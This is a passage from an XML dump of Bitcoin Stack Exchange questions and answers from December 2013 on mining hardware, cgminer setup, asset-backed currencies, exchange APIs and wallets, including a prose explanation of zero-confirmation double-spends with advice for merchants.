  <row Id="19198" PostTypeId="1" AcceptedAnswerId="23746" CreationDate="2013-12-22T05:05:19.647" Score="3" ViewCount="2894" Body="&lt;p&gt;I've found sites where you can put your hash rate for scrypt and SHA-256 to check which cryptocurrency would be the most profitable for you to mine, such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dustcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/cryptocurrency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not seen such a site include profitability comparisons for either quarkcoin or primecoin.  So my question's twofold:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a site that includes either of them in the comparison of profitability?&lt;/li&gt;&#xA;&lt;li&gt;Any reason they might not be included?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Especially after the furor caused by primecoin's launch, I find it difficult to understand this absence - whereas Dogecoin is indeed included.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-22T02:51:10.860" Title="Profitability comparisons for Quarkcoin and Primecoin?" Tags="|alternatives|mining-profitability|primecoin|quarkcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19199" PostTypeId="1" CreationDate="2013-12-22T06:57:33.380" Score="3" ViewCount="1287" Body="&lt;p&gt;Here is a very natural idea: an entity creates a new virtual currency with the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only that entity has the capability to issue new quantities of that currency&lt;/li&gt;&#xA;&lt;li&gt;That entity makes some type of legally binding promise to always buy and sell units of that currency at prices fixed to some underlying commodity. For example, it will always sell for 1.00 USD / unit and buy for 0.99 EUR/ unit.&lt;/li&gt;&#xA;&lt;li&gt;Transactions in the  virtual currency are transacted in a Bitcoin-style network that is not centralized and not controlled by the issuer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is, of course, a very old and often implemented idea. Paper notes were originally issued and thought of as government backed, tradable IOUs. And gold-backed paper currency is pretty much what I've described here. This is the digital, virtualized variant of a very old idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This idea is alluded to &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_5%3a_Trading_across_chains&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on the Contracts page in the BTC wiki. It's called EURcoins on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there any existing or serious proposals for alternative virtual currencies backed by commodities?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Obviously, there are advantages and disadvantages to this setup. I'm not asking for a recital of disadvantages. If you are wondering, I see the main advantage of such a proposal as the ability to &quot;send&quot; the underlying commodity point-to-point with relatively low transaction costs. For example, one could pay the equivalent of USD while bypassing the existing credit card and debit payment systems in the US. Whether this is something people really want to do is another question altogether.&lt;/p&gt;&#xA;" OwnerUserId="9987" LastActivityDate="2014-04-16T00:27:00.827" Title="Are There Examples of Asset Backed Virtual Currencies?" Tags="|alternatives|currencies|market|contracts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19200" PostTypeId="1" AcceptedAnswerId="19266" CreationDate="2013-12-22T07:32:09.837" Score="0" ViewCount="220" Body="&lt;p&gt;I am writing an article on Bitcoin for our high school paper. What points do you think are important to include?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing this article for a high school paper, so please put it into those terms.&lt;/p&gt;&#xA;" OwnerUserId="11216" LastEditorUserId="5406" LastEditDate="2015-05-04T15:10:09.703" LastActivityDate="2015-05-04T15:10:09.703" Title="Writing an article on Bitcoin for my school paper" Tags="|introducing-bitcoin|" AnswerCount="2" CommentCount="9" ClosedDate="2014-02-07T01:13:40.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="19202" PostTypeId="2" ParentId="19199" CreationDate="2013-12-22T08:04:36.643" Score="4" Body="&lt;p&gt;This is basically how every asset in &lt;a href=&quot;https://www.ripple.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt; works, other than XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple permits anyone to create an asset and back it in any way that they choose. Others can declare their willingness to accept specific assets in payment. And Ripple implements distributed order books, payment pathfinding, and atomic multi-asset transactions to implement transfers of value.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-22T08:04:36.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19203" PostTypeId="2" ParentId="19159" CreationDate="2013-12-22T08:10:26.947" Score="1" Body="&lt;p&gt;The attack is this simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You connect to both the merchant and every major mining pool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the same time, you send a transaction paying the merchant to the merchant and a conflicting transaction that pays yourself to every major mining pool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The merchant sees the transaction paying them, and accepts it with zero confirmations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The mining pools see the transaction paying yourself first, so they try to work that transaction into blocks. Eventually, one of them succeeds and the merchant will never get paid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you accept payments with zero confirmations, you should connect directly to multiple points in the Bitcoin network as close to major mining pools as possible and monitor for any conflicting transactions -- even if seen later. (There are other things you must do too. It's not trivial.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-22T08:10:26.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19204" PostTypeId="2" ParentId="8699" CreationDate="2013-12-22T08:47:49.687" Score="0" Body="&lt;p&gt;DONT use Mt Gox. You will be forced to provide your passport plus other forms of identification, and then wait at least a month, if ever, (I know it says ten days but that is rubbish( for them to allow you to actually transfer the dollars or bitcoins from your Mt Gox account. I HAVE HEARD STORIES OF IT TAKING ANOTHER MONTH JUST TO DO A TRANSFER. They are completely incompetent.&lt;/p&gt;&#xA;" OwnerUserId="11217" LastActivityDate="2013-12-22T08:47:49.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19206" PostTypeId="1" CreationDate="2013-12-22T10:18:55.070" Score="1" ViewCount="1025" Body="&lt;p&gt;A &lt;a href=&quot;https://products.butterflylabs.com/homepage/5-gh-s-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;5 GH/s Bitcoin Miner&lt;/a&gt; is running at around 270 Watt. I tested it with an Wattmeter. Is that a reasonable amount of Watt? In the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#cite_ref-jap_4-0&quot; rel=&quot;nofollow&quot;&gt;comparison list on Bitcoin.it&lt;/a&gt; it says that those devices are running at 30 Watts! What is wrong with this miner?&lt;/p&gt;&#xA;" OwnerUserId="4138" LastActivityDate="2014-01-22T17:48:58.980" Title="A Butterflylabs 5 GH/s Bitcoin Miner running at 270 Watts?" Tags="|butterfly-labs|asic|energy-consumption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19208" PostTypeId="2" ParentId="19196" CreationDate="2013-12-22T12:07:57.807" Score="1" Body="&lt;p&gt;For anyone who runs into this problem, the newest version of Xcode 5.0.2 and Oct 23 version of command line tools did not install the llvm-g++ file. I rolled back to Xcode 4.5 and installed the first mountain lion command line tool release and this fixed the problem. &lt;/p&gt;&#xA;" OwnerUserId="11213" LastActivityDate="2013-12-22T12:07:57.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19209" PostTypeId="2" ParentId="5461" CreationDate="2013-12-22T12:11:47.563" Score="3" Body="&lt;p&gt;Take a look at this c# bitcoin rpc api wrapper: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt; that, unlike bitnet, is up-to-date.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-01-05T22:15:25.157" LastActivityDate="2014-01-05T22:15:25.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19211" PostTypeId="1" CreationDate="2013-12-22T12:42:44.690" Score="3" ViewCount="13269" Body="&lt;p&gt;I have AMD Radeon HD 6450 card and Ubuntu is my OS. If I log in normally and start cgminer it works properly and detect my graphic card. Now my monitor is turned off and I connect to my computer by ssh. In this scenario cgminer does not detect my graphic card:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-12-22 13:35:09] Started cgminer 3.7.2&#xA; [2013-12-22 13:35:09] clDevicesNum returned error, no GPUs usable&#xA; [2013-12-22 13:35:09] No devices detected!&#xA; [2013-12-22 13:35:09] Waiting for USB hotplug devices or press q to quit&#xA; [2013-12-22 13:35:09] Probing for an alive pool&#xA; [2013-12-22 13:35:09] Pool 0 difficulty changed to 256&#xA; [2013-12-22 13:35:10] Network diff set to 3.23K&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect that the card is idle because monitor is turned off. To solve this I enabled X11 forwarding in my ssh session but It did not help. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo aticonfig --lsa&#xA;* 0. 01:00.0 AMD Radeon HD 6450&#xA;&#xA;* - Default adapter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can be cause of that situation? Is possible that card is idle? How to check that and how to force card to starts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My cgminer start script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;export DISPLAY=:0&#xA;export GPU_MAX_ALLOC_PERCENT=100&#xA;export GPU_USE_SYNC_OBJECTS=1&#xA;cd /mypath/cgminer-3.7.2-x86_64-built&#xA;./cgminer [parameters]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo aticonfig --adapter=all --odgt&#xA;No protocol specified&#xA;No protocol specified&#xA;ERROR - X needs to be running to perform AMD Overdrive(TM) commands&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11103" LastEditorUserId="2306" LastEditDate="2016-02-05T17:44:30.673" LastActivityDate="2016-02-05T17:44:30.673" Title="cgminer doesn't detect GPU in ssh session" Tags="|cgminer|ubuntu|mining-software|amd|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19212" PostTypeId="2" ParentId="10934" CreationDate="2013-12-22T12:45:53.517" Score="1" Body="&lt;p&gt;try www.multipool.us they have a server which does multiple currencies in a day(depending on their profits)&lt;/p&gt;&#xA;" OwnerUserId="11224" LastActivityDate="2013-12-22T12:45:53.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19213" PostTypeId="2" ParentId="19211" CreationDate="2013-12-22T12:57:21.577" Score="1" Body="&lt;p&gt;The reason for this is that the X-Server that is handling the GPUs is not available in the SSH session. Try prefixing all commands with &lt;code&gt;DISPLAY=:0&lt;/code&gt;. This tells cgminer which X-Server instance to use. The cgminer command then simply becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISPLAY=:0 ./cgminer -u ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also fix this for the current session with the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export DISPLAY=:0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this defines the variable in a bash shell (see your shell's documentation for details if you're using another shell). Putting this into your &lt;code&gt;.bashrc&lt;/code&gt; file might be a good idea if you intend to use it only over SSH .&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-12-22T12:57:21.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19215" PostTypeId="2" ParentId="17351" CreationDate="2013-12-22T15:36:50.327" Score="2" Body="&lt;p&gt;While treating income from buying and selling bitcoins as investment income (i.e. like stocks) would be nice, it's not what I would recommend.  The advantage would be that capital gains taxes are cheaper than standard income.  The downside is that if the IRS rules that bitcoins are a currency instead of an asset, then the taxes are higher and if that's how they rule I'm certain they'll be performing audits on everyone that treated them as assets instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means a higher tax bill, but I plan to treat it as a foreign currency while doing my taxes this year.  After all, that's the plan for bitcoin, isn't it, to be taken seriously as real money?  And if the IRS classifies bitcoins as an asset, I can always file an amended return later to recoup the over payment.&lt;/p&gt;&#xA;" OwnerUserId="11228" LastActivityDate="2013-12-22T15:36:50.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19217" PostTypeId="1" AcceptedAnswerId="20642" CreationDate="2013-12-22T16:44:47.950" Score="1" ViewCount="653" Body="&lt;p&gt;I have looked everywhere but cannot find out whether the Black Arrow Prospero X-1 has a USB port for connecting to a computer (and interfacing with miner to start mining). Does it have one?&lt;/p&gt;&#xA;" OwnerUserId="11232" LastEditorUserId="2306" LastEditDate="2017-04-25T20:04:39.887" LastActivityDate="2017-04-25T20:04:39.887" Title="Does the Prospero X-1 have an USB port?" Tags="|mining-hardware|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19218" PostTypeId="2" ParentId="19206" CreationDate="2013-12-22T16:47:40.717" Score="3" Body="&lt;p&gt;If you can hold your hand on the Bitcoin Miner for an extended period of time without burning it, I doubt the cube is consuming 270 Watts. What does your mining software indicate the temperature is?  My two cubes run at temperatures between upper 30s and low 50s Celsius. (These cubes do make nice winter hand warmers for cold typing hands:-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you rule out the cube is not sucking the power, the question then becomes what about the associated power brick or the integrity of the meter. Again, imagine the heat a sixty Watt indecent light bulb puts out.  If your brick can't be held for an extended period of time without burning your hand, you got a bad brick that mightbe a fire hazard.  Otherwise, you got a bad meter or your house may need capacitive power factor (PF) correction where you plug your cube into an outlet.  &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-22T16:47:40.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19219" PostTypeId="1" CreationDate="2013-12-22T16:52:11.770" Score="4" ViewCount="661" Body="&lt;p&gt;I want to use my Windows 7 Bitcoin database (the block chain I downloaded + my wallets) on Linux (Debian). I run Debian as VirtualBox guest on Windows 7 host and share the Bitcoin data folder (C:/Users/Username/AppData/Roaming/Bitcoin/) as a folder to Debian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However bitcoind on Debian with proper -datadir parameter says &quot;Error opening block database. Do you want to rebuild the block database now?&quot; message. This brings me to the question whether the databases are compatible between Windows and Linux at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1:&lt;/strong&gt;&#xA;I am using one Bitcoin instance at a time. I realized I get the same error even when using en empty data directory that is mounted via VirtualBox on the host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the debug.log (same for empty or full data directory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-12-22 20:49:07 Bitcoin version v0.8.6-dirty-beta (2013-12-05 13:11:26 +0100)&#xA;2013-12-22 20:49:07 Using OpenSSL version OpenSSL 1.0.1e 11 Feb 2013&#xA;2013-12-22 20:49:07 Default data directory /home/kozuch/.bitcoin&#xA;2013-12-22 20:49:07 Using data directory /home/kozuch/vboxshare2&#xA;2013-12-22 20:49:07 Using at most 125 connections (1024 file descriptors available)&#xA;2013-12-22 20:49:07 init message: Verifying wallet...&#xA;2013-12-22 20:49:07 dbenv.open LogDir=/home/kozuch/vboxshare2/database ErrorFile=/home/kozuch/vboxshare2/db.log&#xA;2013-12-22 20:49:07 Bound to [::]:8333&#xA;2013-12-22 20:49:07 Bound to 0.0.0.0:8333&#xA;2013-12-22 20:49:07 init message: Loading block index...&#xA;2013-12-22 20:49:07 Opening LevelDB in /home/kozuch/vboxshare2/blocks/index&#xA;2013-12-22 20:49:07 : Error opening block database.&#xA;Do you want to rebuild the block database now?&#xA;2013-12-22 20:49:07 Shutdown : In progress...&#xA;2013-12-22 20:49:07 Flush(false)&#xA;2013-12-22 20:49:07 DBFlush(false) ended               0ms&#xA;2013-12-22 20:49:07 StopNode()&#xA;2013-12-22 20:49:07 Flushed 0 addresses to peers.dat  4ms&#xA;2013-12-22 20:49:07 Flush(true)&#xA;2013-12-22 20:49:07 DBFlush(true) ended               1ms&#xA;2013-12-22 20:49:07 Shutdown : done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like the problem might be with following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorFile=/home/kozuch/vboxshare2/db.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&#xA;There also is a .lock file with 0 size in the datadir after I get the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3:&lt;/strong&gt;&#xA;So &quot;ErrorFile=/home/kozuch/vboxshare2/db.log&quot; was not a problem. I get this error for a working instance locally (without shared data folder).&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="3120" LastEditDate="2013-12-22T22:05:54.757" LastActivityDate="2014-03-22T23:56:24.467" Title="Is Bitcoin database cross platform compatible?" Tags="|blockchain|linux|windows|error|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19220" PostTypeId="2" ParentId="18831" CreationDate="2013-12-22T16:54:14.163" Score="0" Body="&lt;p&gt;If you are not actually trading, you can pull the price from multiple exchanges and show an average, since there is no such thing as &lt;em&gt;fixed price&lt;/em&gt; for the exchange, preev.com is a nice converter that shows average of 4 sources which you can modify from the settings menu, it should give you an idea.&lt;/p&gt;&#xA;" OwnerUserId="10950" LastActivityDate="2013-12-22T16:54:14.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19221" PostTypeId="2" ParentId="19199" CreationDate="2013-12-22T17:34:40.817" Score="1" Body="&lt;p&gt;Look at the answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19006/what-protocols-are-built-on-top-of-bitcoin/19016#19016&quot;&gt;What protocols are built on top of Bitcoin&lt;/a&gt; that contains a picture? This picture is not perfect, a work in progress... David Schartz's point is that Ripple's contractual tentacles could even reach down to any commodity with a binding contract, not just specie foundation of Exter's Pyramid. (Wondering if Peter Schiff will comprehend this perspective???) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relationship between P2P crypto currencies should be driven by free market pressures based heavily upon the trust in those crypto payment system technologies, and the availability of the associated payment services to meet consumer transaction needs in a timely, convenient and safe fashion. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-12-22T17:34:40.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19222" PostTypeId="1" CreationDate="2013-12-22T17:52:44.440" Score="2" ViewCount="118" Body="&lt;p&gt;Such technology (deep packet inspection firewall on steroids), which is typically on the US ITAR Export Control List (having EAL4+ Common Criteria ratings), should be very high on the Christmas List for all Exchanges?  Was interested in knowing the existing list of vendors in this market space. It sounds like this technology is sorely needed to plug the gaping security holes that we hear about in the news... &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-22T17:52:44.440" Title="Have any security vendors developed any Bitcoin Cross Domain Solutions (CDS) implementions yet?" Tags="|transactions|security|protocol|" AnswerCount="0" CommentCount="4" ClosedDate="2014-10-13T16:32:27.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="19223" PostTypeId="1" CreationDate="2013-12-22T19:18:12.837" Score="-1" ViewCount="306" Body="&lt;p&gt;CPU mining for Quark coins for the last few days, (just doing it for fun, I know they're practically worthless) been working with no issues. This morning I wake up and look at my wallet and the last transaction shows as completed at 7:26 AM 22 DEC 13 and nothing follows that transaction. I've tried stopping and restarting everything, viewed my logs, reviewed my settings, checked with the pool to make sure they're still up.... everything seems to be in order. I'm still relatively new to all of this so if anyone could help me think of some troubleshooting tasks I haven't taken, it'd be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11236" LastEditorUserId="5406" LastEditDate="2016-04-25T21:08:08.983" LastActivityDate="2016-04-25T21:08:08.983" Title="Miner quit working this morning" Tags="|miner-configuration|quarkcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19224" PostTypeId="2" ParentId="18843" CreationDate="2013-12-22T19:43:53.077" Score="0" Body="&lt;p&gt;You could put 6 of them in 1 machine.... Totalling about 9Mhz ... So you would need 3 of such machines. Warning though, putting more than 2 amd 7990 cards in a machine will give you heat dissipation problems&lt;/p&gt;&#xA;" OwnerUserId="11238" LastActivityDate="2013-12-22T19:43:53.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19225" PostTypeId="1" CreationDate="2013-12-22T19:46:16.323" Score="2" ViewCount="2338" Body="&lt;p&gt;Identical to this, but for dogecoin? &lt;a href=&quot;https://blockchain.info/api/create_wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/create_wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10833" LastActivityDate="2021-03-28T09:01:35.123" Title="Is there an API to create a Dogecoin Wallet?" Tags="|dogecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19226" PostTypeId="2" ParentId="19219" CreationDate="2013-12-22T20:16:26.963" Score="1" Body="&lt;p&gt;It should be compatible if your running one instance at a time, BUT I think that the datadir is being locked. &#xA;Try to find more details in the logs, it should tell you the reason of the error which could be anything.&#xA;if you are running any bitcoin software on windows stop it and try to restart bitcoind from your linux box. &lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Did you install bitcoind and run it as root? if not, can you try to chown -R  ~/.bitcoin as root, not the db folder itself, it still can be a permission issue, &lt;/p&gt;&#xA;" OwnerUserId="10950" LastEditorUserId="10950" LastEditDate="2013-12-22T23:14:45.113" LastActivityDate="2013-12-22T23:14:45.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19227" PostTypeId="2" ParentId="19219" CreationDate="2013-12-22T20:57:07.780" Score="1" Body="&lt;p&gt;Just something to check quick. What are the file permissions on the folder and files you are trying to access. You may want to set them to 777 temporarily and try opening it just to rule out that it's not a permission issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: A .lock file of size 0 does not tell us anything. My client is running perfectly and also has one just fyi.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="11189" LastEditDate="2013-12-22T21:04:39.293" LastActivityDate="2013-12-22T21:04:39.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19228" PostTypeId="1" AcceptedAnswerId="19236" CreationDate="2013-12-22T23:00:49.180" Score="2" ViewCount="328" Body="&lt;p&gt;I am writing a custom bot for trading at different Exchanges, while BTCe is the only one I have currently implemented to about 95%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am only hanging at one point: If my Bot decides to Sell/Buy, how can I determine the proper price for my order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Idea was to get the kist of current buy/sell oderders for e.g. BTC/USD and then calculate for which price I would have to sell/buy so the trade will be executed completely, but then I didn't find an API-method to get a list of current orders &lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve what I am trying to do?&lt;/p&gt;&#xA;" OwnerUserId="11243" LastActivityDate="2013-12-23T16:06:20.193" Title="Determining proper order price on BTCe" Tags="|btce|bots|exchange-order|" AnswerCount="2" CommentCount="0" ClosedDate="2014-01-09T20:42:35.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="19231" PostTypeId="1" CreationDate="2013-12-23T01:10:30.040" Score="4" ViewCount="207" Body="&lt;p&gt;Recently people have been talking about Bitcoin Days Destroyed. I am curious, is there a place I can find out something like Total Bitcoin Days: the number of days since each bitcoin has moved, all added together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of Bitcoin Days Destroyed, and what they are (at least, I am pretty sure I am), I am looking for a metric that shows the opposite of Bitcoin Days Destroyed; maybe better wording would be &quot;Bitcoin Days Not Destroyed&quot;. Perhaps my wording is off. Please suggest how I can clairify if so.&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="15412" LastEditDate="2014-06-19T19:41:34.300" LastActivityDate="2020-07-12T09:28:35.377" Title="Is there a &quot;Total Bitcoin Days&quot; metric?" Tags="|charts|bitcoin-days-destroyed|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19232" PostTypeId="2" ParentId="19231" CreationDate="2013-12-23T01:11:32.557" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/charts/bitcoin-days-destroyed?timespan=1year&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/charts/bitcoin-days-destroyed?timespan=1year&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&lt;/a&gt; is most likely what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to take a look at this &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&lt;/a&gt; if want to learn more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if you can find any place online that has total bitcoin days destroyed but I am sure someone will prove me wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found this old post that gives a great explanation &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/845/what-are-bitcoin-days-destroyed&quot;&gt;What are &amp;quot;bitcoin days destroyed&amp;quot;?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-12-23T01:20:25.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19234" PostTypeId="1" AcceptedAnswerId="19235" CreationDate="2013-12-23T01:51:11.047" Score="1" ViewCount="856" Body="&lt;p&gt;I have a doge wallet, can I use it to collect litecoins? Or do I need to specifically get a litecoin wallet to receive payments for hashing? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11254" LastActivityDate="2021-04-03T05:03:24.417" Title="Can I use any &quot;wallet&quot; to store Litecoins?" Tags="|wallet|litecoin|dogecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19235" PostTypeId="2" ParentId="19234" CreationDate="2013-12-23T01:56:49.897" Score="1" Body="&lt;p&gt;Any wallet is based on the particular set of cryptographic functions used for a single cryptocurrency. If you tried to send dogecoins to a litecoin wallet address, the transaction would not be valid because the dogecoin blockchain is only a record of dogecoin transactions and the litecoin blockchain is only a record of litecoin transactions.&lt;/p&gt;&#xA;" OwnerUserId="9625" LastActivityDate="2013-12-23T01:56:49.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19236" PostTypeId="2" ParentId="19228" CreationDate="2013-12-23T02:56:13.817" Score="1" Body="&lt;p&gt;The API call you are looking for is the market depth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/2/btc_usd/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/depth&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also calls for LTC/BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/2/ltc_btc/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_btc/depth&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and LTC/USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/2/ltc_usd/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_usd/depth&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the above return JSON data including both &lt;strong&gt;ASKS&lt;/strong&gt; and &lt;strong&gt;BIDS&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6256" 